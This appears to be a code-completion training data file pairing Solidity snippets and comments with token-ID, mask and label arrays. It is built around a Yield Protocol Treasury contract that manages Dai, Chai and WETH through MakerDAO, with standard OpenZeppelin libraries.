-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xc3f2C8F9d5F0705De706b1302B7a039e1e11aC88/sources/contracts/logic/Verifier.sol
|
* @notice Calculates hash of transaction bound params for snark verification @param _boundParams - bound parameters @return bound parameters hash/
|
function hashBoundParams(BoundParams calldata _boundParams) public pure returns (uint256) {
return uint256(keccak256(abi.encode(_boundParams))) % SNARK_SCALAR_FIELD;
}
| 17,076,283 |
[
1,
10587,
1651,
434,
2492,
2489,
859,
364,
4556,
1313,
11805,
225,
389,
3653,
1370,
300,
2489,
1472,
327,
2489,
1472,
1651,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
1651,
3499,
1370,
12,
3499,
1370,
745,
892,
389,
3653,
1370,
13,
1071,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
565,
327,
2254,
5034,
12,
79,
24410,
581,
5034,
12,
21457,
18,
3015,
24899,
3653,
1370,
20349,
738,
14204,
9584,
67,
2312,
1013,
985,
67,
6776,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: @openzeppelin/contracts/math/Math.sol
pragma solidity ^0.6.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/interfaces/IVat.sol
pragma solidity ^0.6.10;
/// @dev Interface to interact with the vat contract from MakerDAO
/// Taken from https://github.com/makerdao/developerguides/blob/master/devtools/working-with-dsproxy/working-with-dsproxy.md
interface IVat {
// function can(address, address) external view returns (uint);
function hope(address) external;
function nope(address) external;
function live() external view returns (uint);
function ilks(bytes32) external view returns (uint, uint, uint, uint, uint);
function urns(bytes32, address) external view returns (uint, uint);
function gem(bytes32, address) external view returns (uint);
// function dai(address) external view returns (uint);
function frob(bytes32, address, address, address, int, int) external;
function fork(bytes32, address, address, int, int) external;
function move(address, address, uint) external;
function flux(bytes32, address, address, uint) external;
}
// File: contracts/interfaces/IDaiJoin.sol
pragma solidity ^0.6.10;
/// @dev Interface to interact with the `Join.sol` contract from MakerDAO using Dai
interface IDaiJoin {
function rely(address usr) external;
function deny(address usr) external;
function cage() external;
function join(address usr, uint WAD) external;
function exit(address usr, uint WAD) external;
}
// File: contracts/interfaces/IGemJoin.sol
pragma solidity ^0.6.10;
/// @dev Interface to interact with the `Join.sol` contract from MakerDAO using ERC20
interface IGemJoin {
function rely(address usr) external;
function deny(address usr) external;
function cage() external;
function join(address usr, uint WAD) external;
function exit(address usr, uint WAD) external;
}
// File: contracts/interfaces/IPot.sol
pragma solidity ^0.6.10;
/// @dev interface for the pot contract from MakerDao
/// Taken from https://github.com/makerdao/developerguides/blob/master/dai/dsr-integration-guide/dsr.sol
interface IPot {
function chi() external view returns (uint256);
function pie(address) external view returns (uint256); // Not a function, but a public variable.
function rho() external returns (uint256);
function drip() external returns (uint256);
function join(uint256) external;
function exit(uint256) external;
}
// File: contracts/interfaces/IChai.sol
pragma solidity ^0.6.10;
/// @dev interface for the chai contract
/// Taken from https://github.com/makerdao/developerguides/blob/master/dai/dsr-integration-guide/dsr.sol
interface IChai {
function balanceOf(address account) external view returns (uint256);
function transfer(address dst, uint wad) external returns (bool);
function move(address src, address dst, uint wad) external returns (bool);
function transferFrom(address src, address dst, uint wad) external returns (bool);
function approve(address usr, uint wad) external returns (bool);
function dai(address usr) external returns (uint wad);
function join(address dst, uint wad) external;
function exit(address src, uint wad) external;
function draw(address src, uint wad) external;
function permit(address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s) external;
function nonces(address account) external view returns (uint256);
}
// File: contracts/interfaces/IWeth.sol
pragma solidity ^0.6.10;
interface IWeth {
function deposit() external payable;
function withdraw(uint) external;
function approve(address, uint) external returns (bool) ;
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
}
// File: contracts/interfaces/ITreasury.sol
pragma solidity ^0.6.10;
interface ITreasury {
function debt() external view returns(uint256);
function savings() external view returns(uint256);
function pushDai(address user, uint256 dai) external;
function pullDai(address user, uint256 dai) external;
function pushChai(address user, uint256 chai) external;
function pullChai(address user, uint256 chai) external;
function pushWeth(address to, uint256 weth) external;
function pullWeth(address to, uint256 weth) external;
function shutdown() external;
function live() external view returns(bool);
function vat() external view returns (IVat);
function weth() external view returns (IWeth);
function dai() external view returns (IERC20);
function daiJoin() external view returns (IDaiJoin);
function wethJoin() external view returns (IGemJoin);
function pot() external view returns (IPot);
function chai() external view returns (IChai);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/helpers/DecimalMath.sol
pragma solidity ^0.6.10;
/// @dev Implements simple fixed point math mul and div operations for 27 decimals.
contract DecimalMath {
using SafeMath for uint256;
uint256 constant public UNIT = 1e27;
/// @dev Multiplies x and y, assuming they are both fixed point with 27 digits.
function muld(uint256 x, uint256 y) internal pure returns (uint256) {
return x.mul(y).div(UNIT);
}
/// @dev Divides x between y, assuming they are both fixed point with 27 digits.
function divd(uint256 x, uint256 y) internal pure returns (uint256) {
return x.mul(UNIT).div(y);
}
/// @dev Multiplies x and y, rounding up to the closest representable number.
/// Assumes x and y are both fixed point with `decimals` digits.
function muldrup(uint256 x, uint256 y) internal pure returns (uint256)
{
uint256 z = x.mul(y);
return z.mod(UNIT) == 0 ? z.div(UNIT) : z.div(UNIT).add(1);
}
/// @dev Divides x between y, rounding up to the closest representable number.
/// Assumes x and y are both fixed point with `decimals` digits.
function divdrup(uint256 x, uint256 y) internal pure returns (uint256)
{
uint256 z = x.mul(UNIT);
return z.mod(y) == 0 ? z.div(y) : z.div(y).add(1);
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/helpers/Orchestrated.sol
pragma solidity ^0.6.10;
/**
* @dev Orchestrated allows to define static access control between multiple contracts.
* This contract would be used as a parent contract of any contract that needs to restrict access to some methods,
* which would be marked with the `onlyOrchestrated` modifier.
* During deployment, the contract deployer (`owner`) can register any contracts that have privileged access by calling `orchestrate`.
* Once deployment is completed, `owner` should call `transferOwnership(address(0))` to avoid any more contracts ever gaining privileged access.
*/
contract Orchestrated is Ownable {
event GrantedAccess(address access, bytes4 signature);
mapping(address => mapping (bytes4 => bool)) public orchestration;
constructor () public Ownable() {}
/// @dev Restrict usage to authorized users
/// @param err The error to display if the validation fails
modifier onlyOrchestrated(string memory err) {
require(orchestration[msg.sender][msg.sig], err);
_;
}
/// @dev Add orchestration
/// @param user Address of user or contract having access to this contract.
/// @param signature bytes4 signature of the function we are giving orchestrated access to.
/// It seems to me a bad idea to give access to humans, and would use this only for predictable smart contracts.
function orchestrate(address user, bytes4 signature) public onlyOwner {
orchestration[user][signature] = true;
emit GrantedAccess(user, signature);
}
/// @dev Adds orchestration for the provided function signatures
function batchOrchestrate(address user, bytes4[] memory signatures) public onlyOwner {
for (uint256 i = 0; i < signatures.length; i++) {
orchestrate(user, signatures[i]);
}
}
}
// File: contracts/Treasury.sol
pragma solidity ^0.6.10;
/**
* @dev Treasury manages asset transfers between all contracts in the Yield Protocol and other external contracts such as Chai and MakerDAO.
* Treasury doesn't have any transactional functions available for regular users.
* All transactional methods are to be available only for orchestrated contracts.
* Treasury will ensure that all Weth is always stored as collateral in MAkerDAO.
* Treasury will use all Dai to pay off system debt in MakerDAO first, and if there is no system debt the surplus Dai will be wrapped as Chai.
* Treasury will use any Chai it holds when requested to provide Dai. If there isn't enough Chai, it will borrow Dai from MakerDAO.
*/
contract Treasury is ITreasury, Orchestrated(), DecimalMath {
bytes32 constant WETH = "ETH-A";
IVat public override vat;
IWeth public override weth;
IERC20 public override dai;
IDaiJoin public override daiJoin;
IGemJoin public override wethJoin;
IPot public override pot;
IChai public override chai;
address public unwind;
bool public override live = true;
/// @dev As part of the constructor:
/// Treasury allows the `chai` and `wethJoin` contracts to take as many tokens as wanted.
/// Treasury approves the `daiJoin` and `wethJoin` contracts to move assets in MakerDAO.
constructor (
address vat_,
address weth_,
address dai_,
address wethJoin_,
address daiJoin_,
address pot_,
address chai_
) public {
// These could be hardcoded for mainnet deployment.
dai = IERC20(dai_);
chai = IChai(chai_);
pot = IPot(pot_);
weth = IWeth(weth_);
daiJoin = IDaiJoin(daiJoin_);
wethJoin = IGemJoin(wethJoin_);
vat = IVat(vat_);
vat.hope(wethJoin_);
vat.hope(daiJoin_);
dai.approve(address(chai), uint256(-1)); // Chai will never cheat on us
dai.approve(address(daiJoin), uint256(-1)); // DaiJoin will never cheat on us
weth.approve(address(wethJoin), uint256(-1)); // WethJoin will never cheat on us
}
/// @dev Only while the Treasury is not unwinding due to a MakerDAO shutdown.
modifier onlyLive() {
require(live == true, "Treasury: Not available during unwind");
_;
}
/// @dev Safe casting from uint256 to int256
function toInt(uint256 x) internal pure returns(int256) {
require(
x <= uint256(type(int256).max),
"Treasury: Cast overflow"
);
return int256(x);
}
/// @dev Disables pulling and pushing. Can only be called if MakerDAO shuts down.
function shutdown() public override {
require(
vat.live() == 0,
"Treasury: MakerDAO is live"
);
live = false;
}
/// @dev Returns the Treasury debt towards MakerDAO, in Dai.
/// We have borrowed (rate * art)
/// Borrowing limit (rate * art) <= (ink * spot)
function debt() public view override returns(uint256) {
(, uint256 rate,,,) = vat.ilks(WETH); // Retrieve the MakerDAO stability fee for Weth
(, uint256 art) = vat.urns(WETH, address(this)); // Retrieve the Treasury debt in MakerDAO
return muld(art, rate);
}
/// @dev Returns the amount of chai in this contract, converted to Dai.
function savings() public view override returns(uint256){
return muld(chai.balanceOf(address(this)), pot.chi());
}
/// @dev Takes dai from user and pays as much system debt as possible, saving the rest as chai.
/// User needs to have approved Treasury to take the Dai.
/// This function can only be called by other Yield contracts, not users directly.
/// @param from Wallet to take Dai from.
/// @param daiAmount Dai quantity to take.
function pushDai(address from, uint256 daiAmount)
public override
onlyOrchestrated("Treasury: Not Authorized")
onlyLive
{
require(dai.transferFrom(from, address(this), daiAmount)); // Take dai from user to Treasury
// Due to the DSR being mostly lower than the SF, it is better for us to
// immediately pay back as much as possible from the current debt to
// minimize our future stability fee liabilities. If we didn't do this,
// the treasury would simultaneously owe DAI (and need to pay the SF) and
// hold Chai, which is inefficient.
uint256 toRepay = Math.min(debt(), daiAmount);
if (toRepay > 0) {
daiJoin.join(address(this), toRepay);
// Remove debt from vault using frob
(, uint256 rate,,,) = vat.ilks(WETH); // Retrieve the MakerDAO stability fee
vat.frob(
WETH,
address(this),
address(this),
address(this),
0, // Weth collateral to add
-toInt(divd(toRepay, rate)) // Dai debt to remove
);
}
uint256 toSave = daiAmount - toRepay; // toRepay can't be greater than dai
if (toSave > 0) {
chai.join(address(this), toSave); // Give dai to Chai, take chai back
}
}
/// @dev Takes Chai from user and pays as much system debt as possible, saving the rest as chai.
/// User needs to have approved Treasury to take the Chai.
/// This function can only be called by other Yield contracts, not users directly.
/// @param from Wallet to take Chai from.
/// @param chaiAmount Chai quantity to take.
function pushChai(address from, uint256 chaiAmount)
public override
onlyOrchestrated("Treasury: Not Authorized")
onlyLive
{
require(chai.transferFrom(from, address(this), chaiAmount));
uint256 daiAmount = chai.dai(address(this));
uint256 toRepay = Math.min(debt(), daiAmount);
if (toRepay > 0) {
chai.draw(address(this), toRepay); // Grab dai from Chai, converted from chai
daiJoin.join(address(this), toRepay);
// Remove debt from vault using frob
(, uint256 rate,,,) = vat.ilks(WETH); // Retrieve the MakerDAO stability fee
vat.frob(
WETH,
address(this),
address(this),
address(this),
0, // Weth collateral to add
-toInt(divd(toRepay, rate)) // Dai debt to remove
);
}
// Anything that is left from repaying, is chai savings
}
/// @dev Takes Weth collateral from user into the Treasury Maker vault
/// User needs to have approved Treasury to take the Weth.
/// This function can only be called by other Yield contracts, not users directly.
/// @param from Wallet to take Weth from.
/// @param wethAmount Weth quantity to take.
function pushWeth(address from, uint256 wethAmount)
public override
onlyOrchestrated("Treasury: Not Authorized")
onlyLive
{
require(weth.transferFrom(from, address(this), wethAmount));
wethJoin.join(address(this), wethAmount); // GemJoin reverts if anything goes wrong.
// All added collateral should be locked into the vault using frob
vat.frob(
WETH,
address(this),
address(this),
address(this),
toInt(wethAmount), // Collateral to add - WAD
0 // Normalized Dai to receive - WAD
);
}
/// @dev Returns dai using chai savings as much as possible, and borrowing the rest.
/// This function can only be called by other Yield contracts, not users directly.
/// @param to Wallet to send Dai to.
/// @param daiAmount Dai quantity to send.
function pullDai(address to, uint256 daiAmount)
public override
onlyOrchestrated("Treasury: Not Authorized")
onlyLive
{
uint256 toRelease = Math.min(savings(), daiAmount);
if (toRelease > 0) {
chai.draw(address(this), toRelease); // Grab dai from Chai, converted from chai
}
uint256 toBorrow = daiAmount - toRelease; // toRelease can't be greater than dai
if (toBorrow > 0) {
(, uint256 rate,,,) = vat.ilks(WETH); // Retrieve the MakerDAO stability fee
// Increase the dai debt by the dai to receive divided by the stability fee
// `frob` deals with "normalized debt", instead of DAI.
// "normalized debt" is used to account for the fact that debt grows
// by the stability fee. The stability fee is accumulated by the "rate"
// variable, so if you store Dai balances in "normalized dai" you can
// deal with the stability fee accumulation with just a multiplication.
// This means that the `frob` call needs to be divided by the `rate`
// while the `GemJoin.exit` call can be done with the raw `toBorrow`
// number.
vat.frob(
WETH,
address(this),
address(this),
address(this),
0,
toInt(divdrup(toBorrow, rate)) // We need to round up, otherwise we won't exit toBorrow
);
daiJoin.exit(address(this), toBorrow); // `daiJoin` reverts on failures
}
require(dai.transfer(to, daiAmount)); // Give dai to user
}
/// @dev Returns chai using chai savings as much as possible, and borrowing the rest.
/// This function can only be called by other Yield contracts, not users directly.
/// @param to Wallet to send Chai to.
/// @param chaiAmount Chai quantity to send.
function pullChai(address to, uint256 chaiAmount)
public override
onlyOrchestrated("Treasury: Not Authorized")
onlyLive
{
uint256 chi = pot.chi();
uint256 daiAmount = muldrup(chaiAmount, chi); // dai = price * chai, we round up, otherwise we won't borrow enough dai
uint256 toRelease = Math.min(savings(), daiAmount);
// As much chai as the Treasury has, can be used, we borrow dai and convert it to chai for the rest
uint256 toBorrow = daiAmount - toRelease; // toRelease can't be greater than daiAmount
if (toBorrow > 0) {
(, uint256 rate,,,) = vat.ilks(WETH); // Retrieve the MakerDAO stability fee
// Increase the dai debt by the dai to receive divided by the stability fee
vat.frob(
WETH,
address(this),
address(this),
address(this),
0,
toInt(divdrup(toBorrow, rate)) // We need to round up, otherwise we won't exit toBorrow
); // `vat.frob` reverts on failure
daiJoin.exit(address(this), toBorrow); // `daiJoin` reverts on failures
chai.join(address(this), toBorrow); // Grab chai from Chai, converted from dai
}
require(chai.transfer(to, chaiAmount)); // Give dai to user
}
/// @dev Moves Weth collateral from Treasury controlled Maker Eth vault to `to` address.
/// This function can only be called by other Yield contracts, not users directly.
/// @param to Wallet to send Weth to.
/// @param wethAmount Weth quantity to send.
function pullWeth(address to, uint256 wethAmount)
public override
onlyOrchestrated("Treasury: Not Authorized")
onlyLive
{
// Remove collateral from vault using frob
vat.frob(
WETH,
address(this),
address(this),
address(this),
-toInt(wethAmount), // Weth collateral to remove - WAD
0 // Dai debt to add - WAD
);
wethJoin.exit(to, wethAmount); // `GemJoin` reverts on failures
}
/// @dev Registers the one contract that will take assets from the Treasury if MakerDAO shuts down.
/// This function can only be called by the contract owner, which should only be possible during deployment.
/// This function allows Unwind to take all the Chai savings and operate with the Treasury MakerDAO vault.
/// @param unwind_ The address of the Unwild.sol contract.
function registerUnwind(address unwind_)
public
onlyOwner
{
require(
unwind == address(0),
"Treasury: Unwind already set"
);
unwind = unwind_;
chai.approve(address(unwind), uint256(-1)); // Unwind will never cheat on us
vat.hope(address(unwind)); // Unwind will never cheat on us
}
}
|
Retrieve the Treasury debt in MakerDAO
|
(, uint256 art) = vat.urns(WETH, address(this));
| 1,532,495 |
[
1,
5767,
326,
399,
266,
345,
22498,
18202,
88,
316,
490,
6388,
18485,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
261,
16,
2254,
5034,
3688,
13,
273,
17359,
18,
321,
87,
12,
59,
1584,
44,
16,
1758,
12,
2211,
10019,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
